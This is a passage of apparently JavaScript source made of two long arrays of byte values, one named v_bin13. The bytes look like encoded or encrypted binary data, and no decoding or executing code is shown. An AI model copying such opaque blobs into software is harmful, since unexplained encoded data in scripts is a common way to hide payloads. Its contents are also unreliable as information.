32,181,21,92,29,25,65,30,105,73,22,108,81,178,67,97,180,247,104,33,166,196,218,30,22,32,10,98,88,243,168,96,195,69,144,177,119,25,180,95,121,55,120,8,146,224,114,5,30,67,254,254,185,6,239,144,178,121,140,44,56,128,167,194,213,118,109,42,125,134,65,34,123,207,242,204,156,166,11,233,210,171,85,232,115,93,29,75,38,120,39,87,53,0,167,159,103,153,176,26,228,247,51,190,182,136,116,173,50,2,133,174,252,242,22,200,114,230,100,31,166,24,127,164,245,194,201,206,200,51,0,122,129,170,113,237,15,101,15,143,89,179,118,52,4,253,17,159,211,46,16,141,157,4,88,104,108,226,154,118,128,39,70,21,140,30,179,249,38,93,117,138,139,54,214,26,15,68,241,107,3,21,224,2,10,202,251,83,6,115,133,69,36,233,113,26,224,149,162,17,40,162,208,175,5,149,56,167,7,109,243,1,52,232,197,50,250,76,217,245,51,248,38,55,196,179,157,188,172,196,74,146,191,147,246,18,1,152,50,247,58,204,20,93,141,93,120,2,169,40,3,198,77,2,13,19,205,100,128,178,70,113,138,76,253,170,220,138,178,15,10,36,166,28,170,93,77,205,2,166,26,232,163,224,96,198,92,190,170,101,151,82,27,246,81,144,161,233,83,3,135,183,49,110,207,173,213,163,215,203,191,242,127,56,201,23,202,136,47,99,126,34,245,95,158,226,53,145,175,130,8,159,238,13,110,186,255,121,200,86,184,196,226,20,207,13,32,163,170,204,16,71,11,147,205,90,16,141,216,166,76,137,8,14,88,177,12,229,93,33,111,166,146,173,76,81,112,166,66,48,241,17,208,48,243,199,100,173,106,206,214,49,79,202,224,161,141,255,63,125,110,162,66,223,166,136,117,159,9,29,226,49,200,88,127,202,86,255,25,200,53,93,0,32,130,190,112,113,140,213,225,250,137,3,1,227,167,39,222,249,212,11,183,142,198,75,204,16,124,200,30,89,226,66,22,195,149,172,7,79,230,63,99,12,225,7,54,216,192,167,59,216,224,190,189,60,245,9,161,145,4,23,127,40,139,155,2,48,41,190,161,37,175,209,18,31,156,216,3,113,208,86,77,138,33,3,104,103,205,176,87,173,203,144,248,184,43,228,83,204,205,81,161,127,215,147,148,65,157,140,20,142,94,150,231,82,42,50,197,48,241,188,117,211,81,146,59,213,134,144,86,85,24,215,3,110,36,121,168,251,193,197,73,137,174,208,107,76,81,135,180,181,82,164,231,191,7,92,229,4,223,254,83,209,153,109,75,138,193,113,121,9,242,149,65,68,103,145,121,18,76,12,62,196,242,13,39,67,249,50,208,44,243,157,84,246,91,30,247,5,163,147,36,195,193,227,19,98,205,60,115,191,214,174,136,247,44,40,7,175,40,3,195,96,104,127,53,123,102,159,46,127,45,116,42,18,219,220,141,227,122,64,134,131,35,155,165,199,180,83,88,158,154,151,155,248,85,66,199,189,9,108,90,226,24,75,183,211,233,20,30,104,232,173,32,107,221,200,27,174,171,172,213,35,82,183,51,145,97,52,8,233,151,204,99,180,59,162,252,167,81,217,236,224,177,213,138,51,205,28,42,174,76,112,69,177,158,80,145,249,224,241,84,69,232,181,75,156,109,198,40,170,89,19,23,7,104,3,240,173,130,141,213,152,144,220,41,74,91,16,118,132,152,8,41,223,216,2,98,59,4,67,192,229,70,175,40,87,88,181,178,184,79,98,27,188,98,37,39,88,4,250,217,247,152,225,90,31,73,173,186,136,234,127,10,154,96,15,50,37,43,62,22,128,119,131,75,153,92,89,128,147,191,239,189,45,90,50,229,168,197,206,143,127,40,196,50,177,134,137,80,231,86,175,107,86,226,216,198,86,147,79,1,71,68,79,139,70,10,225,112,53,86,222,54,59,2,33,188,86,161,201,129,234,129,176,192,188,203,197,20,101,90,251,10,4,41,96,253,91,252,66,220,53,135,189,83,117,179,63,163,235,61,109,29,193,8,58,198,187,34,150,66,208,166,239,165,48,84,88,161,116,120,21,206,201,237,93,21,123,13,232,12,45,45,185,40,151,4,141,171,220,60,249,94,114,184,68,78,130,115,192,11,62,25,90,236,185,13,82,47,42,128,238,50,57,5,199,98,175,166,103,135,93,71,108,74,93,134,30,161,147,195,12,173,109,97,83,181,87,217,54,213,154,121,56,55,45,162,181,175,215,191,233,53,211,30,228,92,118,51,137,139,163,87,145,28,197,70,129,201,239,97,70,79,157,78,3,23,39,79,211,8,126,159,190,55,103,96,80,72,182,37,129,192,52,13,152,150,86,34,154,48,186,183,120,6,239,223,84,128,189,105,20,56,92,25,88,250,201,50,78,5,120,197,71,3,201,29,207,1,222,167,173,167,248,99,13,107,54,155,115,128,184,67,11,53,218,95,63,69,21,180,241,97,147,111,119,186,232,252,179,196,175,191,113,120,23,220,60,116,38,220,66,55,250,36,244,155,127,68,11,101,217,133,20,191,97,39,10,90,112,13,145,76,225,55,206,113,186,62,232,100,201,184,212,156,225,226,166,43,127,39,77,197,61,8,191,116,167,244,168,22,46,4,194,61,51,207,54,253,13,242,193,59,123,50,129,101,240,173,72,41,14,162,152,53,240,144,225,74,153,142,7,44,121,135,213,38,68,87,63,24,5,107,27,123,254,6,73,5,49,130,225,108,30,63,218,87,11,202,227,138,212,61,12,212,99,123,46,86,128,113,235,62,117,116,128,144,184,217,63,117,45,95,7,240,85,83,0,204,212,127,106,176,25,95,164,141,141,40,32,102,237,234,82,117,6,93,84,164,51,195,168,135,215,248,70,231,222,171,203,140,63,198,16,70,236,33,200,175,71,86,161,15,89,134,75,207,179,251,196,12,154,72,249,142,130,180,25,238,24,196,16,227,36,93,194,178,180,44,59,169,244,172,44,23,60,76,177,75,168,148,90,253,65,7,14,221,158,97,204,241,55,35,189,113,139,251,43,98,33,244,135,3,148,135,90,237,67,133,223,117,97,201,108,59,216,93,100,49,255,78,99,111,46,174,174,254,160,0,218,229,223,69,28,243,175,219,218,223,218,176,42,59,206,62,99,175,10,156,164,161,179,13,17,243,93,36,106,88,238,70,160,96,228,18,96,79,246,109,79,83,140,5,171,96,0,165,92,120,93,24,103,195,233,170,171,199,17,205,70,140,48,145,244,214,160,192,222,139,49,223,16,90,180,122,27,115,179,105,71,3,25,8,9,29,124,148,197,85,126,173,99,146,111,70,129,214,74,236,135,24,92,21,14,178,47,253,153,46,127,187,93,211,76,124,159,61,9,195,200,225,222,85,212,57,74,159,228,173,103,150,237,46,44,115,23,231,128,2,122,81,79,220,170,17,198,146,95,194,238,212,69,72,101,33,74,15,158,9,188,96,13,180,127,176,129,75,23,166,16,102,26,223,79,49,32,180,135,198,153,205,2,100,42,29,214,66,60,236,147,244,214,41,244,198,135,48,76,96,20,214,193,124,108,239,25,10,205,56,35,72,249,157,233,165,210,163,141,243,74,3,246,4,27,91,43,219,16,41,65,6,214,6,89,129,87,128,204,48,209,242,34,45,228,209,128,53,247,147,122,12,96,224,136,60,210,110,186,158,115,204,223,223,94,81,188,111,126,189,222,248,88,131,16,3,9,68,56,46,64,97,153,40,236,101,59,89,7,127,40,227,155,74,97,44,206,243,152,16,85,53,175,125,204,223,203,79,36,160,11,79,192,250,18,165,73,29,221,170,27,242,173,62,203,96,4,156,162,201,248,110,99,3,205,228,127,156,107,118,70,65,163,86,143,110,125,241,205,183,95,238,9,84,109,101,75,153,239,141,10,100,171,6,46,137,245,24,249,156,99,61,183,236,205,171,114,60,216,198,89,45,228,205,3,143,45,68,178,102,50,56,53,88,13,218,166,181,186,127,49,0,245,220,174,4,9,32,188,45,138,40,138,66,101,52,134,140,155,246,33,25,162,5,81,122,191,207,192,190,218,250,58,89,192,133,99,239,167,155,184,109,95,21,97,169,73,138,5,81,235,39,194,142,64,229,158,121,96,5,109,178,94,145,194,166,168,67,151,160,40,85,42,151,65,81,41,31,75,253,8,182,171,176,164,205,143,108,61,51,88,126,212,159,215,113,171,75,246,42,85,101,135,5,186,24,58,231,151,213,216,123,41,98,253,223,154,100,153,231,4,198,106,212,233,0,94,219,213,55,130,89,245,7,167,19,88,146,171,132,145,206,166,49,45,31,64,112,104,239,1,2,56,36,20,235,143,34,243,24,178,15,219,9,18,235,40,26,188,95,37,209,17,168,214,224,203,57,43,70,116,226,4,141,108,159,225,236,103,108,47,60,77,214,97,43,53,176,17,121,117,34,96,122,75,227,175,138,175,124,234,180,248,89,37,73,241,242,203,49,147,177,252,88,228,40,186,152,194,17,181,94,238,217,204,2,5,247,19,105,130,209,61,156,181,170,73,177,118,193,165,98,125,164,232,124,248,54,128,165,238,1,65,244,90,128,193,1,66,78,134,53,227,159,210,193,167,226,89,19,171,173,42,4,7,160,72,81,216,156,88,157,56,38,204,13,219,172,241,203,86,23,245,105,85,208,52,81,18,91,80,128,255,124,123,34,191,98,44,120,203,234,213,82,117,62,102,27,2,4,155,92,249,195,205,173,200,242,32,190,147,203,248,233,143,163,122,166,67,232,196,251,84,150,54,238,92,127,110,16,218,254,137,40,10,45,71,18,134,10,221,53,12,127,47,43,116,231,37,78,207,118,213,189,137,71,187,177,53,110,179,185,151,254,49,219,85,219,102,112,150,134,235,18,111,104,171,150,112,146,28,61,117,166,41,145,47,158,103,81,175,57,59,227,212,97,39,198,212,94,116,255,122,11,17,190,146,153,79,125,132,196,66,175,112,40,90,194,19,198,142,76,239,78,72,168,17,141,69,152,28,24,85,185,132,107,203,219,231,210,225,16,84,94,156,131,171,13,108,207,103,91,229,51,65,133,43,195,188,244,144,94,98,88,35,158,191,46,221,76,107,218,120,77,77,78,156,151,28,255,5,13,57,255,169,5,146,204,63,159,76,244,40,58,193,253,149,179,181,41,102,74,22,167,14,68,20,121,129,100,134,2,218,28,4,255,128,9,202,165,15,156,233,64,64,140,197,173,186,70,179,139,149,33,172,103,15,179,134,110,40,177,118,167,27,102,16,208,231,60,118,181,201,110,74,100,247,4,35,71,179,211,65,14,172,204,49,21,119,123,133,140,87,35,182,148,252,106,88,217,108,88,172,142,54,160,208,182,189,236,41,228,77,169,119,65,143,19,69,249,171,245,6,166,130,149,146,148,185,123,244,76,14,249,33,22,110,162,188,6,41,100,53,28,144,165,22,52,59,37,122,121,181,129,203,237,65,100,84,122,195,90,71,129,69,89,221,33,45,169,221,240,208,152,140,70,30,236,117,60,101,75,13,30,182,42,30,3,127,17,79,203,41,50,253,211,225,145,2,47,71,77,27,75,19,14,132,50,116,105,39,12,69,91,69,196,225,183,69,152,38,167,112,230,52,73,46,86,59,185,38,174,20,210,251,112,59,62,210,210,0,124,219,117,243,240,2,242,116,43,2,254,21,65,139,62,148,7,12,160,121,216,55,141,72,189,30,25,145,173,107,215,176,18,101,20,195,204,186,238,200,118,202,226,133,167,30,190,242,102,218,21,160,97,17,117,127,46,192,9,187,81,69,96,142,33,138,224,205,144,216,120,83,204,130,53,187,23,138,119,68,98,208,108,9,38,84,129,97,107,118,19,44,91,22,62,73,21,152,187,44,21,207,246,186,111,15,135,170,181,20,236,137,77,116,86,113,249,175,254,162,84,219,170,2,138,93,71,64,242,171,229,86,10,188,24,169,215,255,53,210,26,217,232,33,101,56,47,194,245,88,202,5,59,116,152,4,216,128,158,188,146,85,62,92,71,102,185,117,33,209,140,169,51,26,198,192,2,228,229,11,130,243,121,213,185,138,48,53,171,128,253,0,241,63,255,242,203,207,245,77,136,205,69,34,10,13,87,214,2,100,199,100,0,11,68,117,235,251,188,57,181,154,120,43,247,198,115,70,21,234,31,73,125,116,202,54];
var v_bin13 = [20,217,98,242,178,22,153,108,105,124,242,168,156,194,188,184,91,165,2,215,171,35,242,154,7,192,233,11,51,35,24,246,230,179,230,90,73,53,108,227,220,184,94,109,73,127,121,187,99,16,34,109,141,218,205,212,49,170,78,60,108,15,59,130,133,139,193,173,239,172,68,148,21,196,92,122,24,255,161,101,242,155,195,72,144,121,185,57,207,122,86,233,5,45,91,155,7,203,21,145,165,141,244,168,233,160,242,111,220,169,199,2,187,39,43,158,128,185,164,132,106,3,118,215,56,88,16,146,199,124,186,134,193,83,245,66,108,87,204,89,117,32,101,25,132,67,3,136,85,61,56,144,124,149,252,54,130,205,20,181,65,214,8,69,224,111,99,0,38,92,147,98,100,152,149,17,112,117,35,36,63,115,102,141,43,90,148,173,61,1,168,225,188,176,139,128,88,33,228,32,186,147,205,92,22,63,43,219,157,198,144,11,215,124,130,183,215,34,29,117,92,21,132,88,81,121,93,209,95,156,152,7,162,148,52,99,121,186,40,2,209,225,39,222,164,246,133,14,102,211,82,108,52,250,219,109,220,73,170,162,71,254,111,161,195,10,74,170,58,179,247,47,70,33,101,38,223,8,25,72,171,58,242,8,234,93,203,110,246,78,230,197,117,70,209,38,185,16,161,206,111,221,210,127,21,212,183,117,189,243,91,224,224,145,230,71,90,176,42,14,220,203,156,128,155,116,163,214,190,128,99,207,222,180,93,172,191,188,100,217,11,236,105,12,93,234,225,221,100,57,99,125,11,16,204,223,187,137,138,131,127,221,208,115,192,181,219,213,217,140,163,48,243,240,22,154,197,46,25,230,235,253,55,139,78,239,255,93,206,219,196,226,50,196,221,239,243,20,214,54,127,193,13,133,150,129,20,118,29,40,236,72,117,14,249,64,170,113,167,45,66,44,148,233,208,120,62,54,245,225,34,110,196,253,234,230,61,112,136,179,167,170,75,167,173,145,117,22,135,174,252,13,145,41,238,246,241,230,118,170,90,218,158,193,217,56,142,182,78,97,134,229,177,213,10,205,154,37,216,43,218,21,66,85,37,123,85,37,4,40,230,178,201,53,148,147,72,42,73,78,74,141,39,237,234,85,232,41,147,62,19,106,255,167,17,28,25,81,48,159,75,195,6,12,185,137,125,127,198,10,138,70,242,188,223,158,83,186,113,122,99,226,53,143,4,28,167,219,31,253,151,107,171,136,112,113,59,246,188,199,188,32,72,9,214,75,165,77,128,161,14,162,170,121,59,126,50,240,101,236,239,7,210,135,110,5,246,36,149,209,29,239,216,25,48,0,208,250,159,234,170,168,105,182,37,242,211,19,117,68,253,255,125,70,154,50,91,129,79,28,158,224,240,176,174,35,41,62,125,188,193,173,202,205,146,23,235,54,78,12,58,212,213,117,55,193,117,99,0,121,196,105,70,170,196,42,130,46,139,234,159,160,15,26,215,246,232,180,33,93,51,60,89,127,42,13,216,24,112,233,40,72,3,204,166,32,203,190,191,75,32,113,28,185,172,170,151,142,110,103,28,123,103,133,37,24,197,8,188,83,172,110,105,140,121,105,161,46,152,226,219,110,150,69,83,70,232,172,164,115,233,58,109,26,230,23,201,199,7,27,43,234,193,193,215,135,249,61,147,87,100,70,109,216,67,6,53,102,92,164,49,199,229,140,6,178,62,114,113,88,146,111,147,36,233,167,154,81,208,26,74,197,246,147,18,200,219,50,26,33,201,254,24,149,124,251,100,6,66,3,107,62,189,255,39,26,158,36,246,241,36,173,63,100,95,68,176,120,129,63,189,98,86,80,184,52,247,37,100,101,95,195,125,152,229,117,48,120,176,198,118,30,217,222,219,87,151,138,51,68,212,170,51,46,131,119,237,229,206,62,41,50,134,217,70,123,5,72,113,158,135,222,127,203,213,197,207,206,102,32,53,185,146,206,44,111,96,28,51,22,20,159,149,139,70,114,1,100,252,130,135,10,201,77,200,103,109,140,140,12,187,115,91,17,230,178,102,148,219,182,194,230,116,254,58,180,16,137,186,126,158,166,213,6,13,209,140,5,66,66,109,50,15,141,56,60,128,182,24,160,76,179,23,132,168,185,145,27,21,105,45,95,105,222,40,192,189,119,108,78,142,173,94,65,81,156,254,171,183,37,43,241,96,92,239,3,44,154,151,85,139,217,52,165,57,0,188,246,77,59,171,98,156,194,31,114,147,131,91,243,79,159,22,125,253,118,53,61,168,90,51,58,137,3,173,185,124,167,157,102,98,204,208,199,74,101,43,218,22,166,198,225,56,109,65,130,106,16,74,53,13,179,16,204,240,87,85,123,218,32,80,154,46,169,26,32,168,238,212,182,155,140,112,119,180,253,240,205,239,201,157,191,112,202,18,155,26,211,15,79,123,197,84,107,188,246,87,252,158,207,178,193,227,53,93,255,132,141,232,49,201,129,211,82,254,34,146,236,117,193,133,163,24,55,92,164,95,207,91,231,93,81,168,213,56,121,192,228,97,54,146,7,57,143,65,236,22,253,53,39,29,115,188,196,250,182,66,148,225,226,85,102,174,128,120,105,60,84,77,23,151,180,201,123,175,144,246,127,3,164,218,49,39,208,190,252,71,23,138,7,135,153,156,94,187,58,130,125,44,63,170,80,171,204,134,187,198,19,241,54,12,155,114,163,233,237,249,76,210,186,3,208,59,15,19,188,102,160,223,246,28,188,193,204,28,197,255,126,255,236,70,255,62,216,152,96,72,232,178,61,177,202,183,18,103,35,205,254,22,17,107,249,185,185,118,197,141,147,37,221,179,47,12,75,77,211,157,16,198,0,246,36,97,145,67,178,1,71,94,167,70,58,4,59,46,79,177,61,81,210,66,153,133,97,142,201,102,109,81,37,251,172,243,199,21,5,209,42,205,111,208,115,107,252,190,88,122,121,24,5,127,178,36,105,121,240,243,110,5,242,94,188,49,219,216,154,127,77,151,252,253,246,245,7,208,55,201,29,74,237,63,98,151,180,47,244,6,128,112,122,40,149,103,251,57,69,127,160,63,121,77,122,120,3,87,14,71,177,129,129,164,203,76,50,62,185,182,40,140,103,63,131,224,161,247,198,13,217,133,214,200,144,151,143,20,99,216,239,120,106,148,41,43,194,122,19,100,4,93,93,113,180,2,204,193,44,61,197,110,56,1,188,232,174,37,199,245,38,105,93,101,99,100,134,52,27,252,191,218,217,177,6,161,138,91,185,196,240,28,236,150,159,163,177,224,178,193,172,213,245,128,209,221,128,245,167,74,151,160,194,238,82,116,83,161,25,163,161,119,103,249,206,249,198,211,255,216,92,209,233,183,5,35,205,122,123,170,54,239,74,240,180,205,47,126,136,83,131,206,32,81,110,149,29,97,216,226,236,5,19,105,30,156,197,170,223,180,91,36,221,22,194,172,237,225,144,176,70,237,0,158,1,36,232,51,57,149,55,172,44,84,128,175,195,219,68,6,181,87,136,169,225,70,174,104,182,29,43,169,183,181,92,194,119,226,253,153,172,61,127,188,60,200,146,30,116,168,179,4,104,239,98,154,73,198,153,196,25,221,15,60,237,131,210,48,188,130,18,60,39,12,183,52,181,240,177,192,185,191,190,218,155,71,146,91,204,120,21,82,182,191,147,10,12,119,99,202,78,26,97,248,16,165,178,254,22,215,138,65,109,235,41,0,71,159,79,212,194,57,96,237,185,247,62,207,50,228,56,158,20,92,49,12,243,150,231,4,32,234,237,165,58,66,220,206,254,73,62,64,172,205,139,189,160,57,107,212,77,153,16,134,226,79,16,140,53,150,128,64,161,241,7,95,217,104,21,10,235,200,86,161,67,26,120,126,42,229,171,38,179,123,85,10,10,126,110,138,34,163,215,251,195,247,85,134,163,144,36,28,182,208,175,237,132,169,122,17,236,13,121,244,62,103,38,147,245,170,245,104,177,163,169,224,187,195,40,162,231,36,77,76,90,171,251,209,182,222,72,170,50,250,61,21,53,165,232,198,141,105,10,144,98,11,196,34,117,210,174,124,69,80,208,176,168,197,21,143,231,122,170,20,31,164,31,178,81,194,80,18,80,210,246,39,238,139,51,18,146,153,237,143,169,200,16,216,60,47,110,25,80,150,239,7,150,174,81,50,240,157,124,124,198,60,153,247,81,117,162,230,129,167,223,99,2,11,35,64,2,49,143,175,249,158,136,155,21,153,68,140,175,45,63,157,185,106,90,66,154,23,157,129,39,149,178,45,167,69,129,19,116,252,214,127,152,23,127,80,133,219,20,217,32,116,143,174,127,19,178,52,19,38,24,244,217,215,68,249,62,152,186,201,83,10,185,14,100,23,168,203,58,161,126,149,172,198,31,117,201,195,48,155,111,80,65,55,117,34,147,47,156,11,134,245,213,187,163,226,140,55,214,47,17,149,29,201,181,189,250,175,91,136,24,192,231,25,239,148,61,224,210,131,24,170,99,83,216,133,31,80,4,208,80,235,245,129,95,191,207,50,237,90,2,215,27,209,208,58,3,237,204,104,216,60,59,21,140,60,126,175,159,127,133,134,229,9,235,207,126,157,153,69,137,4,151,131,144,172,29,181,101,47,78,241,199,122,249,175,232,102,72,76,21,221,2,58,219,20,20,247,63,245,110,2,195,109,181,160,80,188,119,1,246,53,157,41,251,86,205,127,11,234,135,193,207,8,24,132,75,21,91,131,214,219,238,169,22,158,228,168,191,95,187,125,140,162,133,124,153,184,87,20,132,214,5,62,164,74,133,121,9,142,145,136,214,138,175,121,181,77,38,189,70,174,135,151,232,188,68,180,251,155,204,218,34,186,113,169,124,233,253,97,195,195,36,85,6,89,225,184,196,105,71,200,2,0,18,128,141,6,16,124,25,131,140,49,249,221,233,101,156,102,178,29,97,171,212,159,105,0,184,2,131,246,209,91,179,5,245,139,7,152,61,171,245,67,66,205,102,47,171,196,47,68,6,186,51,241,99,162,205,2,124,177,203,63,255,251,55,9,250,236,78,251,167,172,197,12,50,144,5,213,51,244,61,149,20,38,176,68,194,20,111,85,120,174,85,167,196,238,253,245,0,176,201,28,57,171,121,0,194,240,109,163,33,106,251,149,20,174,68,221,186,203,46,255,48,75,119,218,178,158,166,206,182,54,105,113,84,83,56,245,89,99,50,191,92,134,146,0,51,80,97,222,30,50,249,191,94,243,55,140,73,46,32,196,114,227,135,163,252,180,112,174,231,211,242,60,213,65,182,183,159,178,48,142,97,85,226,187,84,186,254,6,245,152,126,124,205,187,160,59,138,68,99,157,136,52,168,195,30,51,12,25,4,159,12,219,0,23,147,16,95,203,183,250,134,222,10,145,125,106,190,120,4,209,105,159,94,237,176,172,126,204,16,245,108,59,106,42,98,60,183,137,6,254,9,106,171,98,134,176,120,63,166,29,103,255,175,26,171,176,219,136,132,204,95,203,142,241,18,58,191,203,133,246,122,2,207,13,7,188,14,30,33,131,244,234,14,145,239,84,153,202,217,108,232,211,19,180,200,1,147,190,169,118,3,54,31,191,192,150,201,67,196,234,26,123,232,65,26,215,7,32,196,24,186,15,70,253,192,242,190,169,21,38,94,35,192,142,238,45,220,117,183,120,159,29,251,235,130,14,160,251,159,58,32,72,48,75,24,246,147,30,193,13,217,234,17,191,102,136,34,137,139,186,25,6,215,249,63,211,200,189,42,194,48,250,19,143,186,203,123,184,229,180,120,113,137,20,156,177,199,125,58,15,183,45,40,142,113,239,245,18,76,234,98,209,38,237,122,193,196,215,36,205,149,79,191,87,83,65,77,68,238,213,190,135,160,220,219,10,159,222,152,238,93,193,159,163,123,87,58,95,234,1,223,16,54,161,141,192,205,202,196,140,49,179,161,246,47,100,235,54,132,227,223,107,186,218,110,150,47,4,72,128,111,126,118,181,15,167,86,100,9,50,88,29,60,103,104,144,126,162,185,14,39,145,47,20,197,151,69,8,107,94,206,129,103,175,77,109,221,38,67,58,74,13,180,246,169,210,5,193,177,50,125,144,133,254,120,202,215,19,183,101,186,173,142,167,166,212,165,197,149,88,253,80,229,169,14,177,95,178,151,20,57,89,236,106,247,155,194,121,154,224,54,48,227,213,183,236,201,190,18,90,244,193,238,178,249,192,206,208,133,27,90,254,62,247,36,112,175,159,53,125,179,203,70,206,158,4,234,168,206,146,148,36,149,82,63,6,28,242,151,198,39,33,16,25,54,98,99,36,193,65,170,169,240,70,133,15,118,193,54,51,69,126,49,5,115,31,165,104,240,13,68,220,169,42,185,250,253,99,251,67,10,20,137,36,38,226,112,61,180,32,245,56,98,136,253,172,94,224,180,202,111,162,0,246,127,3,3,85,102,26,166,91,73,199,4,109,192,177,109,169,212,14,137,118,194,163,82,87,80,126,8,230,19,79,120,229,127,42,173,203,151,63,182,15,88,207,234,122,218,217,147,219,125,179,222,192,64,124,131,43,199,128,26,47,215,45,241,121,120,161,212,106,147,129,53,132,117,84,29,77,160,244,143,67,89,141,183,147,254,26,10,189,230,220,10,29,51,119,108,172,213,32,33,58,71,151,99,218,38,23,194,35,31,201,193,3,163,43,171,39,124,7,253,115,46,186,66,154,176,234,144,223,245,177,171,45,164,111,111,209,141,230,73,156,157,123,163,140,132,142,168,113,98,187,1,9,135,34,250,131,152,139,171,251,226,103,140,104,215,175,52,7,152,75,154,65,51,210,165,5,216,55,201,100,122,90,1,115,11,18,14,9,200,25,16,80,232,228,173,10,41,104,189,170,40,63,210,77,3,229,206,201,18,13,74,225,250,26,157,150,137,235,48,16,46,18,230,194,225,34,205,175,45,187,121,88,112,31,51,219,157,107,87,108,61,6,77,126,130,242,178,30,221,246,249,165,41,167,10,237,61,85,68,78,141,36,232,237,212,108,242,24,81,228,111,104,65,7,67,211,166,203,60,148,131,188,76,59,8,86,207,210,115,213,28,25,144,147,51,118,129,25,165,163,163,144,252,46,244,164,91,235,245,38,70,101,233,25,52,44,56,92,245,238,174,205,131,6,214,5,185,124,70,128,135,151,129,230,240,16,180,58,240,56,62,129,199,237,245,87,213,201,211,200,27,80,38,88,139,46,9,195,107,80,47,87,245,2,144,181,248,183,179,248,197,90,168,115,10,84,208,82,248,81,88,176,164,254,126,214,3,177,67,29,154,37,71,92,8,105,24,64,227,155,15,98,7,68,223,144,224,0,48,165,124,31,54,158,239,231,71,222,91,194,137,23,50,112,253,156,48,226,120,192,191,132,22,79,249,115,38,33,147,70,203,167,71,189,159,226,73,121,89,251,180,237,75,242,63,237,62,140,29,114,2,100,54,206,107,89,144,167,135,21,21,117,180,1,161,88,100,187,227,185,72,129,216,0,29,142,144,179,221,15,191,98,63,102,189,102,7,4,37,22,152,182,17,213,17,61,158,16,52,65,60,10,46,199,207,191,38,119,79,1,152,160,209,183,160,117,25,36,253,79,14,85,239,4,119,164,124,222,22,223,2,239,89,166,31,252,194,17,149,201,241,170,178,67,45,8,77,217,217,220,102,196,181,226,113,198,22,56,250,227,218,142,133,143,249,150,135,82,200,57,255,194,194,230,215,179,105,212,207,143,8,60,153,80,224,108,102,141,197,251,182,224,50,171,245,127,14,232,190,102,64,166,181,217,100,234,65,108,24,170,27,6,135,37,229,112,217,92,5,207,178,202,98,212,245,31,2,99,174,26,136,178,4,40,16,12,7,36,136,180,22,235,231,240,171,41,210,102,16,43,222,250,115,24,4,224,176,68,222,84,156,54,71,209,170,5,249,180,204,125,131,25,84,158,12,197,146,15,221,207,42,60,181,157,241,152,24,95,145,115,31,208,173,108,108,56,188,101,88,166,172,66,120,45,116,109,141,249,62,235,45,128,11,179,190,184,88,124,122,187,67,79,218,151,75,201,234,37,70,30,121,91,156,2,241,160,142,82,251,109,0,127,111,224,145,198,91,120,114,94,232,4,227,237,246,18,224,176,153,26,105,161,134,23,133,81,65,196,5,151,77,107,147,184,249,60,36,10,32,121,5,170,37,70,38,235,143,79,77,115,4,140,133,252,218,85,58,57,14,187,128,153,182,67,92,189,214,2,77,121,22,221,86,251,199,254,70,146,38,82,43,248,143,198,140,229,244,73,192,133,154,66,241,57,79,114,201,72,222,149,11,234,177,122,60,132,151,229,161,107,88,13,147,58,17,195,229,180,126,211,88,83,96,165,250,29,123,181,45,175,186,216,194,7,204,2,66,208,108,166,46,161,206,182,165,231,59,31,226,176,49,80,88,171,163,59,171,95,177,87,165,15,171,187,148,195,137,215,209,196,181,188,45,89,188,50,25,211,95,86,30,134,80,71,4,134,3,57,194,240,234,191,197,215,90,146,192,68,57,146,178,88,198,100,173,216,181,152,2,152,46,85,1,143,137,90,114,137,218,59,10,91,100,47,43,86,210,28,97,64,216,124,153,152,205,214,138,114,22,22,148,188,131,237,209,83,31,212,157,195,199,179,67,74,73,142,217,73,79,80,146,165,226,131,155,73,93,133,60,240,155,230,132,140,47,240,174,26,165,175,73,93,29,32,235,194,180,239,224,39,215,128,130,160,183,17,234,110,95,166,149,253,83,2,170,120,36,59,111,196,231,167,105,143,112,196,135,0,48,205,255,64,54,53,70,175,160,23,194,191,110,238,125,190,248,38,205,84,145,175,234,29,250,142,116,73,121,59,86,83,70,181,118,146,252,204,94,127,152,229,73,61,69,6,80,16,175,207,53,114,43,125,244,95,206,205,87,130,43,13,168,248,80,238,101,184,199,114,119,191,202,190,219,62,65,31,136,223,106,252,46,123,177,168,83,195,241,26,16,125,204,170,173,154,212,134,83,126,255,79,214,58,155,60,78,98,175,6,98,213,76,30,124,58,242,39,13,185,59,217,148,205,186,87,195,42,153,252,53,45,201,75,217,210,185,6,193,32,64,60,88,91,241,149,35,41,62,199,9,105,92,139,61,230,179,186,191,246,41,8,28,88,227,19,23,125,155,57,131,143,114,195,66,214,101,133,87,92,118,151,253,110,13,70,209,217,88,96,240,141,201,160,158,237,64,37,172,30,247,200,129,144,14,179,126,62,102,117,160,213,124,145,27,116,58,9,64,119,162,183,143,112,74,1,14,1,161,43,23,13,120,28,76,108,220,98,99,27,244,106,171,8,151,120,74,133,62,144,0,11,89,19,36,192,133,136,249,120,253,0,191,53,193,97,141,225,205,63,99,179,235,221,28,19,57,200,215,131,167,240,179,216,247,122,88,15,92,208,205,148,183,53,112,240,226,207,95,216,225,127,189,51,56,228,138,76,226,17,240,28,229,105,113,92,241,55,62,150,57,54,211,251,119,38,168,72,11,239,157,247,65,47,55,67,31,52,140,80,243,196,83,191,85,211,110,50,92,216,225,0,94,204,170,191,122,84,153,76,158,180,63,185,30,242,34,223,45,15,93,49,154,240,234,0,9,145,234,48,123,247,129,91,247,21,189,90,102,16,128,97,221,1,46,163,26,112,196,77,151,246,5,41,96,229,127,166,140,135,195,133,231,204,107,56,200,172,191,62,196,109,22,245,129,189,193,234,226,120,172,37,54,37,235,55,224,14,219,65,51,159,37,190,83,149,147,56,18,171,204,85,110,6,21,192,50,150,101,53,71,87,233,201,84,30,167,187,1,196,1,137,114,218,228,169,169,128,50,227,227,0,233,107,155,178,232,223,82,141,38,52,83,7,179,67,105,75,47,159,240,157,173,215,222,147,155,135,185,228,135,81,192,227,195,142,175,25,47,215,173,105,12,37,111,201,154,4,54,103,144,206,184,32,10,103,248,52,196,195,22,50,29,160,63,248,241,10,138,27,170,108,208,127,198,114,12,155,78,251,127,21,59,224,249,144,21,137,23,106,90,237,2,182,117,1,4,31,104,220,130,70,64,212,218,13,77,155,70,97,176,188,85,237,186,64,114,132,154,247,208,46,178,237,219,124,32,38,202,231,105,108,164,62,221,133,151,229,120,158,236,168,153,91,215,150,171,203,240,128,210,221,30,78,154,224,39,9,108,234,11,220,4,87,237,110,109,239,28,161,252,95,24,190,111,55,218,135,152,72,210,105,192,40,235,175,252,222,199,158,48,245,255,66,3,28,181,138,181,152,185,56,254,72,77,17,62,232,169,170,63,94,200,201,20,103,213,143,207,77,189,41,112,224,60,210,4,150,206,57,175,241,41,143,47,209,247,61,46,159,229,126,116,46,127,111,143,151,11,224,95,9,28,223,231,63,64,116,45,146,